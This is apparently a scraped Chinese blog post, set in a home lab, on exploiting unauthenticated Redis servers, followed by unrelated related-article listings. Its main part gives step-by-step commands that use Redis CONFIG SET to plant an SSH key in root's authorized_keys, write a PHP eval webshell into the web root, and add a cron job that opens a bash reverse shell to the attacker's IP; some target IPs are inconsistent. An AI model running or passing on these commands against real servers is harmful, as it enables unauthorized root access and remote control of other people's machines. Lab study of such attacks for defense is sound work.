Redis基础

1

Redis基础

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

1

1

实验漏洞环境搭建

模拟服务器centos7.5:192.168.3.134

模拟攻击机kali linux2020:192.168.3.135

两台主机均要安装ssh 这个百度一大堆不在赘述。

攻击机模拟机均安装Redis

之前试过编译安装太麻烦了 centos 和kali 直接yum 就完成了所有的安装

yum -y install redis

编辑redis配置文件

vim /etc/redis.conf
第一个修改的地方 bind 127.0.0.1 前面加上#注释掉 允许取出除本地外的主机远程登录redis服务。
如不过不注释的话会强制redis只监听IPv4本地地址 而其他地址就无法访问。

第二个要修改的地方是protected 将yes改为no 关闭保护模式,允许远程连接redis服务 

使用配置文件启动redis

redis-server /etc/redis.conf

linux免密码登陆SSH

1.原理

首先了解下SSH的登陆方式,在SSH中有两种登陆方式 一种是账户密码登陆 还有一种就是公私钥登陆

一种是基于账户密码的安全验证只要知道自己的账户和密码就可以登陆到远程主机,

另一种今天的主角 它是基于密钥的安全验证首先要创建一对密钥,并把公钥放在访问的服务器上。这时候如果你要连接到ssh服务器上客户端软件就会像服务端发出请求,请求使用你客户机的密钥进行安全验证。 服务器收到请求后,会立即在自己的机器上的当前要登陆的账户主目录下寻找公钥密钥,然后把它和你发送过来的公用密钥进行比较,如果一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件,客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式,你必须知道自己密匙的口令。

redis未授权访问的原理是攻击机在可以未授权的情况下访问服务器B的Redis 将数据通过Redis通信传递到服务器B的用户家目录下的.ssh文件夹内 这样攻击机A发出ssh请求到服务器B就可以免密码验证啦。

在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

mkdir /root/.sh

在/root/.sh目录下创建公私钥 密码设置为空 回车回车即可

会生成两个一个是私钥一个是公钥

ssh-keygen -t rsa

将公钥保存到key中

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

通过redis将key写入到服务器中

 cat key.txt | redis-cli -h 192.168.3.134 -x set hack

连接目标主机的redis

redis-cli -h 192.168.10.153

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh //设置redis的备份路径为/root/.ssh
config set dbfilename authorized_keys //设置上传公钥的备份文件名为autorized_keys

将数据保存

save

免密码登陆目标服务器

ssh 192.168.3.1

成功免密码登陆

通过Redis在web目录下写入webshell

Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)

redis-cli -h 192.168.3.134   //连接目标
config set dir /var/www/html //设置dir的目录
set xiaohua "\n\n\n<?php @eval($_POST['xiaohua']);?>\n\n\n" //将小马存入xiaohua中
config set dbfilename webshell.php //设置数据文件为webshell.php
save //保存

成功被写入

利用linux定时任务反弹shell

redis-cli -h 192.168.3.134
CONFIG SET dir /var/spool/cron //切换到定时任务目录
CONFIG SET dbfilename root //生成一个root文件
set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.3.135/4444 0>&1\n\n" //设置反弹shell
save //保存

Redis基础

1

1

Redis基础

1

1

Redis基础

1

1

Redis的一些攻击手法整理的更多相关文章

  1. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  2. 【转载】Redis 4.0 自动内存碎片整理(Active Defrag)源码分析

    click原文链接原文链接:https://blog.csdn.net/zouhuajianclever/article/details/90669409阅读本文前建议先阅读此篇博客: Redis源码 ...

  3. Redis配置及攻击利用

    Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  4. Java 7爆最新漏洞,10年前的攻击手法仍有效

    英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...

  5. Redis面试题及答案整理

    1.什么是Redis?简述它的优缺点? Redis的全称是:Remote Dictionary.Server,本质上是一个Key-Value类型的内存数据库,很像memcached,整个数据库统统加载 ...

  6. 50道Redis面试题及答案整理,史上最全!

    在网上看到有关Redis的50道面试题,但是没有给出答案,之前我也在寻找这份Redis面试题的答案,今天特地把答案分享出来. 花了大量时间整理了这套Redis面试题及答案,希望对大家有帮助哈~ 弄明白 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. python连接MySQL/redis/mongoDB数据库的简单整理

    python连接mysql 用python操作mysql,你必须知道pymysql 代码示意: import pymysql conn = pymysql.connect(host='127.0.0. ...

  9. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

随机推荐

  1. phpexcel导出数据 出现Formula Error的解决方案

    phpexcel导出数据报错 Uncaught exception 'Exception' with message 'Sheet1!A1364 -> Formula Error: Unexpe ...

  2. win10下使用命令行安装配置appium环境

    安装列表 安卓sdk目录,即ANDROID_HOME设置 关于sdk的安装配置此处略,参考之前文章<Appium+Java(一) Windows环境搭建篇> node运行环境 appium ...

  3. xUtils简介和使用方法

    xUtils简介 xUtils 包含了很多实用的android工具. xUtils 最初源于Afinal框架,进行了大量重构,使得xUtils支持大文件上传,更全面的http请求协议支持(10种谓词) ...

  4. 老板,来五道misc

    开个杂项坑 穿越时空的思念 音频隐写,audacity分离音道,摩斯密码一把锁 金三胖 是个gif,明显能感觉到里面藏有flag stegsolve逐帧分离太low了,直接用脚本一把梭 import ...

  5. C#连接Access

    连接数据库 string oleCon = @"Provider=Microsoft.ACE.OLEDB.12.0;Data Source= " + Application.Sta ...

  6. IDEA上运行Flink任务

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  7. Jmeter 获取系统时间

    ${__time(yyyy-MM-dd HH:mm:ss:SSS,time)} :格式化生成时间格式 2020-11-03 21:59:13:658

  8. linux查看日志的几种方法

    linux 日志查看 tail.head. cat.tac.sed.less.echo 1.命令格式: tail       [必要参数]     [选择参数]     [文件] -f 循环读取 -q ...

  9. 深入web workers (上)

    前段时间,为了优化某个有点复杂的功能,我采用了shared workers + indexDB,构建了一个高性能的多页面共享的服务.由于是第一次真正意义上的运用workers,比以前单纯的学习有更多体 ...

  10. Thinkphp3.2 cms之登陆模块

    <?php /** * Created by dreamcms. * User: Administrator * Date: 2016/9/5 * Time: 17:15 */ namespac ...